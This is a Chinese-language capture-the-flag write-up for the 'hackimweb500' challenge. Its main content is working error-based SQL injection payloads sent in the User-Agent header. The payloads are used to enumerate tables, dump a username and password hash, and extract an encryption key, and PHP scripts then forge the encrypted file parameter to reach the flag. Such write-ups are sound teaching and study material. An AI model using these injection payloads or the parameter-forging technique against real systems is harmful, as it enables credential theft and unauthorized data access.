xuenixiang_2020_web_web500
该数据库的名称是:hackimweb500
现在我们列出所述数据库的表:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='hackimweb500')))=0 -- x
我们得到:
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
accounts,cryptokey,useragents'
我们从accounts表中提取列:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='hackimweb500' and table_name='accounts')))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
uid,uname,pwd,age,zipcode'
我们对其他表的运作方式相似。最后我们有数据库的结构:
hackimweb500:
- accounts (uid,uname,pwd,age,zipcode)
- cryptokey (id,keyval,keyfor)
- useragents (bid,agent)
我们从帐户表中提取记录:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(concat(uname,':',pwd)) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
ori:6606a19f6345f8d6e998b69778c'
但是,密码的哈希值已被截断。没问题,我们用MID功能来解决它。
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select mid(pwd,20,20) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
8b69778cbf7ed'
整个哈希是6606a19f6345f8d6e998b69778cbf7ed。在Google搜索之后,我们发现密码是frettchen。
我们启动与用户ori和frettchen密钥的会话......并将我们重定向到一个有点好奇的URL,显然是挑战的第二部分。
http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=
URL接收file带有base64文本的参数,如果我们解码,我们就不会得到任何可读的内容。该页面还告诉我们该标志位于flagflagflagflag.txt文件中。
当我们查看页面的源代码时,我们会以HTML注释的形式找到另一个提示:
<!--
function decrypt($enc){
$key = ??; //stored elsewhere
$data = base64_decode($enc);
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");
return $decrypted;
}
-->
它似乎是file决定URL 参数的函数。但是,$key未分配变量。解密的关键在于其他地方。
我们记得数据库中的cryptokey表,我们将其转储:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select keyval from cryptokey)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
TheTormentofTantalus'
关键是TheTormentofTantalus。我们decrypt使用加密密钥完成该功能,并尝试解密参数的值file。
<?phpfunction decrypt($enc){$key = "TheTormentofTantalus"; //stored elsewhere$data = base64_decode($enc);$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");return $decrypted;}echo decrypt("uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=") . "\n";
我们执行PHP代码:
php decifra.php
一个给定的结果。该文件的名称是flag-hint。但我们需要flagflagflagflag.txt文件。我们编写一个使用相同算法和密钥加密的函数。
<?phpfunction encrypt($data) {
$key = "TheTormentofTantalus"; //stored elsewhere $iv = "\xb9c}i\x84E\xe3b\xc9lINr\xbbc\xac";
// $iv = str_repeat("A", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); $enc = mcrypt_encrypt (
MCRYPT_RIJNDAEL_128,
hash('sha256', $key, true),
$data,
MCRYPT_MODE_CBC,
$iv
);
return base64_encode($iv . $enc);}echo encrypt("flagflagflagflag") . "\n";
经过一段时间的挫折之后,我们明白我们应该只加密文件名而不加密它的扩展名。
php cifrar.php
uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=
最后我们调用URL file使用获得的值更改参数并且...
http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=